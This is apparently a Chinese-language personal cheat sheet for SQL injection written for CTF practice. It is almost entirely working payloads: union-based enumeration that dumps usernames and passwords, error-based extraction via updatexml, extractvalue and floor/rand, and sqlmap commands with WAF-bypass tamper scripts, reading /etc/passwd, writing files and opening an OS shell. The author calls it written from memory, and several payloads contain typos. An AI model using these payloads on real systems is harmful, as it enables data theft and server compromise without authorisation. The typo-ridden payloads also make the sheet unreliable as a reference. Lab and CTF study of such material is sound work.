sql注入全流程

靠印象总结的,不具有参考性

sql注入的大致流程

  1. 判断注入点?id=1' and '1'='1

  2. 判断列数order by N

  3. 找可回显列union select 1,2,3

  4. 查当前库union select 1,database(),3

  5. 查所有库union select 1,group_concat(schema_name),3 from information_schema.schemata

  6. 查目标库表union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='xxx'

  7. 查目标表字段union select 1,group_concat(column_name),3 from information_schema.columns where table_name='xxx'

  8. 查敏感数据union select 1,group_concat(user,0x3a,pass),3 from users

sql 注入中,最最常用的注入方法有两种 union联合查询updatexml报错注入

union联合查询

查询语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 注入点判断
and '1'='1

# 永真式
or '1'='1

# 判断列数
order by 列数

# 可回显列
?id=-1 union select 1,2,3,...

# union 基本语法
union select 1,2,*,... from 库.表

# group_concat 拼接数据,单行显示
union select 1,2,group_concat(*),... from 库.表

# 查看当前数据库
?id=-1 union select 1,database(),3

# 查看所有数据库
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

# 查看某个数据库的所有表
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

# 查看列
?id=-1 union select 1,group_concat(column_name),3 from information_c=schema.columns where table_name='*'

-1 union select 1,group_concat(flag) from information_schema.columns where table_name='flag'

# 查看敏感数据
?id=-1 union select 1,group_concat(username,0x3a,password),3 from *;

-1' union select 1,group_concat(flag) from flag#

报错注入

  1. updatexml()

    1
    2
    3
    4
    5
    6
    7
    8
    ?id=1 and updatexml(1, concat(0x7e, (select database()) ,0x7e) ,1)

    1 and updatexml(1, concat(0x7e, (select group_concat(flag) from flag) ,0x7e) ,1)

    # 长度限制
    ?id=1 and updatexml(1, concat(0x7e, (select substr(database(),1,32) ,0x7e) ,1)

    ?id=1 and updatexml(1, concat(0x7e, (select substr(flag,20,40) from flag),0x7e) ,1)
    • updatexml(xml_target, xpath_expr, new_value) 用来更新 XML 数据。

    • xpath_expr 参数不符合 XML 格式时,会抛出报错,并在报错信息中包含参数内容。

    • 我们把要输出的数据拼接进 xpath_expr,就能在报错信息中泄露出来。

  2. extractvalue()

    1
    ?id=1 and extractvalue(1, concat(0x7e, (select user()),0x7e))
    • extractvalue(xml_doc, xpath_expr) 用于从 XML 文档中提取数据。
    • xpath_expr 参数非法时,会抛出报错,并在错误信息中显示该参数。
    • 利用方法和 updatexml() 类似。
  3. floor() + rand() + group by

    1
    2
    3
    4
    5
    6
    7
    8
    ?id=1 and (
    select 1 from (
    select count(*),
    concat(0x7e, (select database()), 0x7e, floor(rand(0)*2)) as x
    from information_schema.tables
    group by x
    ) a
    )
    • MySQL 在 group by 时,如果 rand() 生成的值重复,就会导致 Duplicate entry 错误。
    • 我们把要爆的数据放进重复值里,让它出现在报错信息中。
    • 常见于无 updatexml / extractvalue 函数时的替代方案。

sqlmap

1
2
3
4
5
6
7
8
# 安装sqlmap
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

# 基本格式
python3 sqlmap.py [options]

python3 sqlmap.py -u "目标URL" [options]

常用参数

参数功能
-u URL指定目标 URL
--data "param1=val1&param2=val2"指定 POST 数据
--cookie "PHPSESSID=xxx"设置 Cookie
--dbs列出数据库
--tables -D db_name列出指定数据库的表
--columns -D db_name -T table_name列出表字段
--dump -D db_name -T table_name导出表数据
--batch自动选择默认答案,避免交互
--technique=B强制布尔盲注
--technique=T强制时间盲注
--tamper=脚本绕过 WAF/过滤
--level=N --risk=N增加扫描强度和风险
–random-agent
–time-sec=3
–sql-query=sql 命令执行
  1. get 注入

    1
    python3 sqlmap.py -u "http://靶场URL/vuln.php?id=1" --dbs --batch
  2. post注入

    1
    2
    3
    python3 sqlmap.py -u "http://靶场URL/vuln.php" \
    --data "username=admin&password=123" \
    --dbs --batch
  3. 绕过waf / 过滤

    • 使用 tamper 脚本:
    1
    --tamper=space2comment,randomcase,between
    • 使用随机 User-Agent:
    1
    --random-agent
    • 增加扫描强度:
    1
    --level=5 --risk=3
  4. 文件读取

    1
    python3 sqlmap.py -u "http://靶场URL/vuln.php?id=1" --file-read=/etc/passwd
  5. 文件写入

    1
    2
    python3 sqlmap.py -u "http://靶场URL/vuln.php?id=1" \
    --file-write=本地文件路径 --file-dest=服务器目标路径
  6. 命令执行

    1
    python3 sqlmap.py -u "http://靶场URL/vuln.php?id=1" --os-shell
1
2
3
4
5
6
7
8
python3 sqlmap.py -u "http://challenge-85047d2171b93350.sandbox.ctfhub.com:10800/?id=1" \
--dbs \
--level=5 --risk=3 \
--tamper=space2comment,randomcase,apostrophemask,unmagicquotes,charencode,modsecurityversioned,equaltolike,randomcase,between \
--random-agent \
--batch
--time-sec=3
--technique=B \
1
2
3
4
5
6
7
8
9
python3 sqlmap.py -u "http://challenge-85047d2171b93350.sandbox.ctfhub.com:10800/?id=1" \
--dbs \
--tamper=space2comment,randomcase,equaltolike,randomcase,between \
--random-agent \
--batch \
--dbms=mysql\
--level=2 --risk=2 \
--time-sec=3 \
--technique=B \